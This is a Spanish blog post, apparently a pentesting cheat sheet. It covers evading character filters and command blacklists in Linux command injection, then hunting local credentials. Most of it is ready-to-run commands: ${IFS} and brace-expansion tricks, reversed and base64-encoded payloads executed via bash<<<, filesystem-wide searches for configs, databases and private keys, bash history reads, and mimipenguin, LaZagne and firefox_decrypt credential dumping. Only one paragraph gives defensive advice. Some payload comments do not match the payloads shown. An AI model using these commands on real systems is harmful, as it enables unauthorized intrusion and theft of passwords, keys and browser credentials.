← Blog

Inyección de Comandos en Linux

Bypass de caracteres filtrados y comandos bloqueados en inyección de comandos, y ataques a contraseñas locales en Linux.

Inyección de Comandos en Linux

Operational Scope & Technical Objective

Una inyección de comandos ocurre cuando entrada controlada por el usuario se concatena a una shell sin saneamiento; el payload se interpreta como comando por el shell. Los filtros defensivos se implementan en dos capas: caracteres (bloqueo de espacios, barras, punto y coma) y listas negras de comandos (cat, whoami, nc, …). Ambas capas se eluden con transformaciones del payload que el shell resuelve antes de ejecutar. Este post compila el repertorio de bypass y, en la segunda mitad, los ataques a credenciales locales (hunting de archivos, historiales y descifrado de credenciales de navegador).

Filtered Character Bypass

Código Descripción
printenv Ver todas las variables de entorno
Espacios
%09 Tabs en lugar de espacios (decodificación por la app)
${IFS} Se reemplaza por espacio y tab; no funciona en sub-shells ($())
{ls,-la} Las comas se reemplazan por espacios (brace expansion)
Otros caracteres
${PATH:0:1} Se reemplaza por /
${LS_COLORS:10:1} Se reemplaza por ;
$(tr '!-}' '\"-~'<<<[) Desplaza un carácter en uno ([ → \)

Blacklisted Command Bypass

Código Descripción
Inserción de caracteres
' o " Dividir el comando; el total de comillas debe ser par
$@ o \ Linux only; caracteres ignorados dentro del nombre del comando
Manipulación de mayúsculas
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") Ejecuta el comando ignorando mayúsculas
$(a="WhOaMi";printf %s "${a,,}") Variante de lowercasing
Comandos invertidos
echo 'whoami' | rev Invierte una cadena
$(rev<<<'imaohw') Ejecuta el comando invertido
Comandos codificados
echo -n 'cat /etc/passwd | grep 33' | base64 Codifica la cadena en base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) Ejecuta la cadena base64 decodificada

Ejemplos de uso en payload:

# Ejecutar whoami sin comillas, con spaces y sin echo
{cat,/etc/passwd}
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Linux Local Password Attacks

Comando Descripción
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done Encuentra archivos .conf, .config y .cnf
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done Busca credenciales dentro de archivos .cnf
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done Encuentra bases de datos comunes
find /home/* -type f -name "*.txt" -o ! -name "*.*" Busca archivos de texto en homes
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share";done Busca archivos de scripts comunes
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core" ;done Busca documentos comunes
cat /etc/crontab Revisa crontab en busca de credenciales
ls -la /etc/cron.*/ Lista archivos cron en /etc
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1" Busca claves privadas en todo el filesystem
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1" Claves privadas en homes
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1" Claves públicas ssh-rsa en homes
tail -n5 /home/*/.bash* Últimas 5 líneas de los historiales bash
python3 mimipenguin.py Extrae credenciales en claro de memoria (Mimipenguin)
bash mimipenguin.sh Ídem, variante bash
python2.7 lazagne.py all Lazagne, todos los módulos
ls -l .mozilla/firefox/ | grep default Perfil de Firefox en uso
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq . Credenciales de Firefox (JSON cifrado)
python3.9 firefox_decrypt.py Descifra credenciales de Firefox
python3 lazagne.py browsers Credenciales de navegadores vía Lazagne

Real-World Offensive/Defensive Scenarios

  • Cadena de elusión completa (ofensivo): combinando capas — comillas para romper el nombre, ${IFS}/{cmd,arg} para el espacio, base64 para la ofuscación y bash<<<$() como ejecutor — un payload sobrevive a filtros de caracteres y blacklists:

    bash<<<$(base64 -d<<<$(tr '!-}' '\"-~'<<<[IPG))   # construcción iterativa de comandos
    
  • Validación (defensivo): los filtros basados en blacklists de comandos y caracteres son insuficientes por diseño: la expansión de shell (${IFS}, brace expansion, $(), rev, base64) transforma el payload sin que el filtro lo detecte. La defensa correcta es allowlist de comandos/argumentos y, en aplicaciones web, la validación estricta de entradas contra el esquema esperado (nunca pasar la entrada a system()/exec).

  • Hunting de credenciales locales (ofensivo): los bucles for de extensiones recorren todo el filesystem buscando configs, DBs, scripts y documentos con credenciales; lazagne.py browsers + firefox_decrypt.py recuperan credenciales de navegador, y mimipenguin extrae contraseñas en claro desde el espacio de memoria de procesos que las mantienen.